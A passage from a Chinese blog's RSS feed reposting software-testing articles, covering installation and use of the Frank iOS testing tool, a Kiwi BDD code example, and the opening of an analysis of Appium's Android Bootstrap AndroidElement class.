url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/pin-off.png);"></div></td></tr></tbody></table></div></div><div id="SL_shadow_translation_result" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg.png) #ffffff;"></div><div id="SL_bbl_donate" title="Make a small contribution" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/donate2.png);"></div><div id="SL_Balloon_options" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg3.png) #f4f5f5;"><a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/options-bbl.html" target="_blank" class="SL_options" title="Show options">Options</a>&nbsp;:&nbsp;<a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/history.html" class="SL_options" title="Translation history" target="_blank">History</a>&nbsp;:&nbsp;<a href="http://about.imtranslator.net/add-ons/chrome-extension/" target="_blank" class="SL_options" title="ImTranslator Help">Help</a>&nbsp;:&nbsp;<a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/feedback.html" class="SL_options" title="Feedback" target="_blank">Feedback</a></div><div id="SL_player"></div><div id="SL_alert100" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg2.png);">Text-to-speech function is limited to 100 characters</div></div></div><img src ="http://www.blogjava.net/qileilove/aggbug/421666.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/qileilove/" target="_blank">顺其自然EVO</a> 2014-12-23 00:22 <a href="http://www.blogjava.net/qileilove/archive/2014/12/23/421666.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>iOS功能测试工具 Frank</title><link>http://www.blogjava.net/qileilove/archive/2014/12/23/421667.html</link><dc:creator>顺其自然EVO</dc:creator><author>顺其自然EVO</author><pubDate>Mon, 22 Dec 2014 16:22:00 GMT</pubDate><guid>http://www.blogjava.net/qileilove/archive/2014/12/23/421667.html</guid><wfw:comment>http://www.blogjava.net/qileilove/comments/421667.html</wfw:comment><comments>http://www.blogjava.net/qileilove/archive/2014/12/23/421667.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/qileilove/comments/commentRss/421667.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/qileilove/services/trackbacks/421667.html</trackback:ping><description><![CDATA[<span style="color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 21.6000003814697px; background-color: #ffffff;">　　</span><a target="_self" style="word-break: break-all; color: #202859; line-height: normal; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"><u style="word-break: break-all;"><strong style="word-break: break-all;">Frank</strong></u></a><span style="color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 21.6000003814697px; background-color: #ffffff;">也是一款深受开发者喜爱的</span><a target="_self" style="word-break: break-all; color: #202859; line-height: normal; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"><u style="word-break: break-all;"><strong style="word-break: break-all;">iOS</strong></u></a><span style="color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 21.6000003814697px; background-color: #ffffff;">应用</span><a target="_self" style="word-break: break-all; color: #202859; line-height: normal; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"><u style="word-break: break-all;"><strong style="word-break: break-all;">测试</strong></u></a><span style="color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 21.6000003814697px; background-color: #ffffff;">框架，该框架可以模拟用户操作对应用程序进行</span><a target="_self" style="word-break: break-all; color: #202859; line-height: normal; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"><u style="word-break: break-all;"><strong style="word-break: break-all;">黑盒测试</strong></u></a><span style="color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 21.6000003814697px; background-color: #ffffff;">，并使用Cucumber作为自然语言来编写</span><a target="_self" style="word-break: break-all; color: #202859; line-height: normal; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"><u style="word-break: break-all;"><strong style="word-break: break-all;">测试用例</strong></u></a><span style="color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 21.6000003814697px; background-color: #ffffff;">。此外，Frank还会对应用测试操作进行记录，以帮助开发者进行测试回顾。</span><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: center; background-color: #ffffff;"><a href="http://www.51testing.com/batch.download.php?aid=50129" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/12/14982672_201412171451211cQbr.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　　<strong style="word-break: break-all;">一、基本介绍</strong></div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　　Frank是ios开发环境下一款实现自动测试的工具。</div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　　Xcode环境下开发完成后，通过Frank实现结构化的测试用例，其底层语言为<a target="_self" style="word-break: break-all; color: #202859;"><u style="word-break: break-all;"><strong style="word-break: break-all;">Ruby</strong></u></a>。作为一款开源的iOS测试工具，在国外已经有广泛的应用。但是国内相关资料却比较少。其最大的优点是允许我们用熟悉的自然语言实现实际的操作逻辑。</div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　　一般而言，测试文件由一个.feature文件和一个.rb文件组成。.feature文件包含的是测试操作的自然语言描述部分，内部可以包含多个测试用例，以标签（@tagname）的形式唯一标识，每个用例的首行必须有Scenario: some description；.rb文件则是ruby实现逻辑，通过正则表达式匹配.feature文件中的每一句自然语言，然后执行相应的逻辑操作，最终实现自动测试的目的。</div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　<strong style="word-break: break-all;">　二、安装</strong></div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　　1. &nbsp; &nbsp; &nbsp; Terminal 输入sudo gem install frank-cucumber,下载并安装Frank</div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　　2. &nbsp; &nbsp; &nbsp; Terminal 进入工程所在路径，工程根目录</div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　　3. &nbsp; &nbsp; &nbsp; 输入：frank-skeleton，会在工程根目录新建Frank文件夹</div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　　4. &nbsp; &nbsp; &nbsp; 返回Xcode界面，右键Targets下的APP，选择复制，Duplicate only</div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　　5. &nbsp; &nbsp; &nbsp; 双击APPname copy，更改副本名，例如 Appname Frankified</div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　　6. &nbsp; &nbsp; &nbsp; 右击APP，Add Files to Appname&#8230;&#8230;</div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　　7. &nbsp; &nbsp; &nbsp; 勾选副本，其余取消选定。选择新建的Frank文件夹，Add.</div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　　8. &nbsp; &nbsp; &nbsp; 选择APP，中间部分Build Phases选项卡，Link Binary With Libraries&#224;CFNetwork.framework，Add.</div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　　9. &nbsp; &nbsp; &nbsp; 依旧中间部分，选择Build Settings选项卡，Other Linker Flags，双击，添加&#8220;-all_load&#8221;和&#8220;ObjC&#8221;</div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　　10. &nbsp; 左上角，Scheme Selector，在RUN和STOP按钮的右边，选择Appname copy-IPHONE</div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　　11. &nbsp; 浏览器中打开http://localhost:37265，可以在浏览器中看到植入Frank的应用</div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　　我在添加了两个flag之后老是报错，尝试了N种方法之后索性全部删掉，结果就可以了，无语</div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;"><strong style="word-break: break-all;">　　三、基本步骤</strong></div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　　1. &nbsp; &nbsp; &nbsp; terminal 切换到Frank文件夹所在目录</div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　　2. &nbsp; &nbsp; &nbsp; frank launch, 打开simulator，开始运行(默认是用IPHONE simulator,要用IPAD simulator时，需要如下命令行，添加参数：frank launch --idiom ipad)</div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　　3. &nbsp; &nbsp; &nbsp; cucumber Frank/features/my_first.feature --tags @tagname （注意tags前面两个&#8216;-&#8217;）PS:如果没有tag则自动运行文件中所有case</div></div> <div><div id="SL_button" class="ImTranslatorLogo" style="display: none; background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/imtranslator-s.png);"></div><div id="SL_shadow_translation_result2" style="display: none;"></div><div id="SL_shadow_translator" style="display: none;"><div id="SL_planshet" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg2.png) #f4f5f5;"><div id="SL_TB"><div id="bubblelogo" class="ImTranslatorLogo" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/imtranslator-s.png);"></div><table cellspacing="1" border="0" id="SL_tables"><tbody><tr><td class="SL_td" align="left" width="20%"><div id="SL_lng_from">English&nbsp;&#187;</div></td><td class="SL_td" align="left" width="20%"><select id="SL_lng_to"><option value="af">Afrikaans</option><option value="sq">Albanian</option><option value="ar">Arabic</option><option value="hy">Armenian</option><option value="az">Azerbaijani</option><option value="eu">Basque</option><option value="bn">Bengali</option><option value="be">Belarusian</option><option value="bg">Bulgarian</option><option value="ca">Catalan</option><option value="zh-CN">Chinese&nbsp;(Simp)</option><option value="zh-TW">Chinese&nbsp;(Trad)</option><option value="hr">Croatian</option><option value="cs">Czech</option><option value="da">Danish</option><option value="nl">Dutch</option><option value="en">English</option><option value="eo">Esperanto</option><option value="et">Estonian</option><option value="tl">Filipino</option><option value="fi">Finnish</option><option value="fr">French</option><option value="gl">Galician</option><option value="ka">Georgian</option><option value="de">German</option><option value="el">Greek</option><option value="gu">Gujarati</option><option value="ht">Haitian&nbsp;Creole</option><option value="iw">Hebrew</option><option value="hi">Hindi</option><option value="hu">Hungarian</option><option value="is">Icelandic</option><option value="id">Indonesian</option><option value="ga">Irish</option><option value="it">Italian</option><option value="ja">Japanese</option><option value="kn">Kannada</option><option value="ko">Korean</option><option value="lo">Lao</option><option value="la">Latin</option><option value="lv">Latvian</option><option value="lt">Lithuanian</option><option value="mk">Macedonian</option><option value="ms">Malay</option><option value="mt">Maltese</option><option value="no">Norwegian</option><option value="fa">Persian</option><option value="pl">Polish</option><option value="pt">Portuguese</option><option value="ro">Romanian</option><option value="ru">Russian</option><option value="sr">Serbian</option><option value="sk">Slovak</option><option value="sl">Slovenian</option><option selected="" value="es">Spanish</option><option value="sw">Swahili</option><option value="sv">Swedish</option><option value="ta">Tamil</option><option value="te">Telugu</option><option value="th">Thai</option><option value="tr">Turkish</option><option value="uk">Ukrainian</option><option value="ur">Urdu</option><option value="vi">Vietnamese</option><option value="cy">Welsh</option><option value="yi">Yiddish</option></select></td><td class="SL_td" width="13%" align="center">&nbsp;</td><td class="SL_td" width="8%" align="center"><div id="SL_TTS_voice" title="Listen to the translation" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/tts-voice.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_copy" title="Select text" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/copy_hand.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_bbl_font_patch" onclick="alert('Not available for dictionary');"></div><div id="SL_bbl_font" title="Font size" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/font-off.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_TH" title="Translation history" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/history.png);"></div></td><td class="SL_td" width="5%"></td><td class="SL_td" width="8%" align="right"><div id="SL_pin" title="Pin pup-up bubble" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/pin-off.png);"></div></td></tr></tbody></table></div></div><div id="SL_shadow_translation_result" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg.png) #ffffff;"></div><div id="SL_bbl_donate" title="Make a small contribution" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/donate2.png);"></div><div id="SL_Balloon_options" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg3.png) #f4f5f5;"><a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/options-bbl.html" target="_blank" class="SL_options" title="Show options">Options</a>&nbsp;:&nbsp;<a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/history.html" class="SL_options" title="Translation history" target="_blank">History</a>&nbsp;:&nbsp;<a href="http://about.imtranslator.net/add-ons/chrome-extension/" target="_blank" class="SL_options" title="ImTranslator Help">Help</a>&nbsp;:&nbsp;<a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/feedback.html" class="SL_options" title="Feedback" target="_blank">Feedback</a></div><div id="SL_player"></div><div id="SL_alert100" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg2.png);">Text-to-speech function is limited to 100 characters</div></div></div><img src ="http://www.blogjava.net/qileilove/aggbug/421667.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/qileilove/" target="_blank">顺其自然EVO</a> 2014-12-23 00:22 <a href="http://www.blogjava.net/qileilove/archive/2014/12/23/421667.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>iOS单元测试框架Kiwi for iOS</title><link>http://www.blogjava.net/qileilove/archive/2014/12/23/421665.html</link><dc:creator>顺其自然EVO</dc:creator><author>顺其自然EVO</author><pubDate>Mon, 22 Dec 2014 16:21:00 GMT</pubDate><guid>http://www.blogjava.net/qileilove/archive/2014/12/23/421665.html</guid><wfw:comment>http://www.blogjava.net/qileilove/comments/421665.html</wfw:comment><comments>http://www.blogjava.net/qileilove/archive/2014/12/23/421665.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/qileilove/comments/commentRss/421665.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/qileilove/services/trackbacks/421665.html</trackback:ping><description><![CDATA[<span style="color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 21.6000003814697px; background-color: #ffffff;">　</span><a target="_self" style="word-break: break-all; color: #202859; line-height: normal; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"><u style="word-break: break-all;"><strong style="word-break: break-all;">Kiwi</strong></u></a><span style="color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 21.6000003814697px; background-color: #ffffff;">是一个适用于iOS开发的行为驱动开发（BDD）库，因其接口简单而高效，深受开发者的欢迎，也因此，成为了许多开发新手的首选</span><a target="_self" style="word-break: break-all; color: #202859; line-height: normal; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"><u style="word-break: break-all;"><strong style="word-break: break-all;">测试</strong></u></a><span style="color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 21.6000003814697px; background-color: #ffffff;">平台。和大多数iOS测试框架一样，Kiwi使用Objective-C语言编写，因此对于iOS开发者而言，绝对称得上是最佳测试拍档。</span><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: center; background-color: #ffffff;"><a href="http://www.51testing.com/batch.download.php?aid=50131" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/12/14982672_201412171500471DgMH.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　　示例代码：</div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;"><table align="center" style="word-break: break-all; border-style: solid; border-color: #999999; width: 612px; font-size: 12px; background-color: #dddddd;"><tbody style="word-break: break-all;"><tr style="word-break: break-all;"><td style="word-break: break-all;"><div style="word-break: break-all; margin: 10px 0px; background-color: #ffffff;">describe(@"Team", ^{</div><div style="word-break: break-all; margin: 10px 0px; background-color: #ffffff;">context(@"when newly created", ^{</div><div style="word-break: break-all; margin: 10px 0px; background-color: #ffffff;">it(@"should have a name", ^{</div><div style="word-break: break-all; margin: 10px 0px; background-color: #ffffff;">id team = [Team team];</div><div style="word-break: break-all; margin: 10px 0px; background-color: #ffffff;">[[team.name should] equal:@"Black Hawks"];</div><div style="word-break: break-all; margin: 10px 0px; background-color: #ffffff;">});</div><div style="word-break: break-all; margin: 10px 0px; background-color: #ffffff;">it(@"should have 11 players", ^{</div><div style="word-break: break-all; margin: 10px 0px; background-color: #ffffff;">id team = [Team team];</div><div style="word-break: break-all; margin: 10px 0px; background-color: #ffffff;">[[[team should] have:11] players];</div><div style="word-break: break-all; margin: 10px 0px; background-color: #ffffff;">});</div><div style="word-break: break-all; margin: 10px 0px; background-color: #ffffff;">});</div><div style="word-break: break-all; margin: 10px 0px; background-color: #ffffff;">});</div></td></tr></tbody></table></div></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"></div><div id="weixin_s" style="word-break: break-all; line-height: 21.6000003814697px; margin: 0px 0px 10px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; width: 182px; height: 32px; display: inline-block; position: relative; background-image: url(http://www.51testing.com/html/wx.jpg); background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: no-repeat;"></div> <div><div id="SL_button" class="ImTranslatorLogo" style="display: none; background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/imtranslator-s.png);"></div><div id="SL_shadow_translation_result2" style="display: none;"></div><div id="SL_shadow_translator" style="display: none;"><div id="SL_planshet" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg2.png) #f4f5f5;"><div id="SL_TB"><div id="bubblelogo" class="ImTranslatorLogo" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/imtranslator-s.png);"></div><table cellspacing="1" border="0" id="SL_tables"><tbody><tr><td class="SL_td" align="left" width="20%"><div id="SL_lng_from">English&nbsp;&#187;</div></td><td class="SL_td" align="left" width="20%"><select id="SL_lng_to"><option value="af">Afrikaans</option><option value="sq">Albanian</option><option value="ar">Arabic</option><option value="hy">Armenian</option><option value="az">Azerbaijani</option><option value="eu">Basque</option><option value="bn">Bengali</option><option value="be">Belarusian</option><option value="bg">Bulgarian</option><option value="ca">Catalan</option><option value="zh-CN">Chinese&nbsp;(Simp)</option><option value="zh-TW">Chinese&nbsp;(Trad)</option><option value="hr">Croatian</option><option value="cs">Czech</option><option value="da">Danish</option><option value="nl">Dutch</option><option value="en">English</option><option value="eo">Esperanto</option><option value="et">Estonian</option><option value="tl">Filipino</option><option value="fi">Finnish</option><option value="fr">French</option><option value="gl">Galician</option><option value="ka">Georgian</option><option value="de">German</option><option value="el">Greek</option><option value="gu">Gujarati</option><option value="ht">Haitian&nbsp;Creole</option><option value="iw">Hebrew</option><option value="hi">Hindi</option><option value="hu">Hungarian</option><option value="is">Icelandic</option><option value="id">Indonesian</option><option value="ga">Irish</option><option value="it">Italian</option><option value="ja">Japanese</option><option value="kn">Kannada</option><option value="ko">Korean</option><option value="lo">Lao</option><option value="la">Latin</option><option value="lv">Latvian</option><option value="lt">Lithuanian</option><option value="mk">Macedonian</option><option value="ms">Malay</option><option value="mt">Maltese</option><option value="no">Norwegian</option><option value="fa">Persian</option><option value="pl">Polish</option><option value="pt">Portuguese</option><option value="ro">Romanian</option><option value="ru">Russian</option><option value="sr">Serbian</option><option value="sk">Slovak</option><option value="sl">Slovenian</option><option selected="" value="es">Spanish</option><option value="sw">Swahili</option><option value="sv">Swedish</option><option value="ta">Tamil</option><option value="te">Telugu</option><option value="th">Thai</option><option value="tr">Turkish</option><option value="uk">Ukrainian</option><option value="ur">Urdu</option><option value="vi">Vietnamese</option><option value="cy">Welsh</option><option value="yi">Yiddish</option></select></td><td class="SL_td" width="13%" align="center">&nbsp;</td><td class="SL_td" width="8%" align="center"><div id="SL_TTS_voice" title="Listen to the translation" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/tts-voice.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_copy" title="Select text" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/copy_hand.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_bbl_font_patch" onclick="alert('Not available for dictionary');"></div><div id="SL_bbl_font" title="Font size" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/font-off.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_TH" title="Translation history" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/history.png);"></div></td><td class="SL_td" width="5%"></td><td class="SL_td" width="8%" align="right"><div id="SL_pin" title="Pin pup-up bubble" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/pin-off.png);"></div></td></tr></tbody></table></div></div><div id="SL_shadow_translation_result" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg.png) #ffffff;"></div><div id="SL_bbl_donate" title="Make a small contribution" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/donate2.png);"></div><div id="SL_Balloon_options" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg3.png) #f4f5f5;"><a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/options-bbl.html" target="_blank" class="SL_options" title="Show options">Options</a>&nbsp;:&nbsp;<a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/history.html" class="SL_options" title="Translation history" target="_blank">History</a>&nbsp;:&nbsp;<a href="http://about.imtranslator.net/add-ons/chrome-extension/" target="_blank" class="SL_options" title="ImTranslator Help">Help</a>&nbsp;:&nbsp;<a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/feedback.html" class="SL_options" title="Feedback" target="_blank">Feedback</a></div><div id="SL_player"></div><div id="SL_alert100" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg2.png);">Text-to-speech function is limited to 100 characters</div></div></div><img src ="http://www.blogjava.net/qileilove/aggbug/421665.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/qileilove/" target="_blank">顺其自然EVO</a> 2014-12-23 00:21 <a href="http://www.blogjava.net/qileilove/archive/2014/12/23/421665.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Appium Android Bootstrap之控件AndroidElement</title><link>http://www.blogjava.net/qileilove/archive/2014/12/23/421662.html</link><dc:creator>顺其自然EVO</dc:creator><author>顺其自然EVO</author><pubDate>Mon, 22 Dec 2014 16:18:00 GMT</pubDate><guid>http://www.blogjava.net/qileilove/archive/2014/12/23/421662.html</guid><wfw:comment>http://www.blogjava.net/qileilove/comments/421662.html</wfw:comment><comments>http://www.blogjava.net/qileilove/archive/2014/12/23/421662.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/qileilove/comments/commentRss/421662.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/qileilove/services/trackbacks/421662.html</trackback:ping><description><![CDATA[<div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">通过上一篇<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">文章</strong></u></a>《<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">Appium</strong></u></a>&nbsp;<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">Android</strong></u></a>&nbsp;<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">Bootstrap</strong></u></a>源码分析之简介》我们对bootstrap的定义以及其在appium和uiautomator处于一个什么样的位置有了一个初步的了解，那么按照正常的写书的思路，下一个章节应该就要去看bootstrap是如何建立socket来获取数据然后怎样进行处理的了。但本人觉得这样子做并不会太好，因为到时整篇文章会变得非常的冗长，因为你在编写的过程中碰到不认识的类又要跳入进去进行说明分析。这里我觉得应该尝试吸取著名的《重构》这本书的建议：一个方法的代码不要写得太长，不然可读性会很差，尽量把其分解成不同的函数。那我们这里就是用类似的思想，不要尝试在一个文章中把所有的事情都做完，而是尝试先把关键的类给描述清楚，最后才去把这些类通过一个实例分析给串起来呈现给读者，这样大家就不会因为一个文章太长影响可读性而放弃往下<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">学习</strong></u></a>了。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　那么我们这里为什么先说bootstrap对控件的处理，而非刚才提到的socket相关的socket服务器的建立呢？我是这样子看待的，大家看到本人这篇文章的时候，很有可能之前已经了解过本人针对uiautomator源码分析那个系列的文章了，或者已经有uiautomator的相关知识，所以脑袋里会比较迫切的想知道究竟appium是怎么运用了uiautomator的，那么在appium中于这个问题最贴切的就是appium在服务器端是怎么使用了uiautomator的控件的。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">这里我们主要会分析两个类：</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">AndroidElement</strong></u></a>:代表了bootstrap持有的一个ui界面的控件的类，它拥有一个UiObject成员对象和一个代表其在下面的哈希表的键值的String类型成员变量id</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　AndroidElementsHash:持有了一个包含所有bootstrap（也就是appium）曾经见到过的（也就是脚本代码中findElement方法找到过的）控件的哈希表，它的key就是AndroidElement中的id，每当appium通过findElement找到一个新控件这个id就会＋1，Appium的pc端和bootstrap端都会持有这个控件的id键值，当需要调用一个控件的方法时就需要把代表这个控件的id键值传过来让bootstrap可以从这个哈希表找到对应的控件</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">1. AndroidElement和UiObject的组合关系</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　从上面的描述我们可以知道，AndroidElement这个类里面拥有一个UiObject这个变量：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　public class AndroidElement {</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　private final UiObject el;</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　private String &nbsp; &nbsp; &nbsp; &nbsp; id;</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　...</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　}</div><div style="word-break: break-all; line-height: 21.6000003814697px; 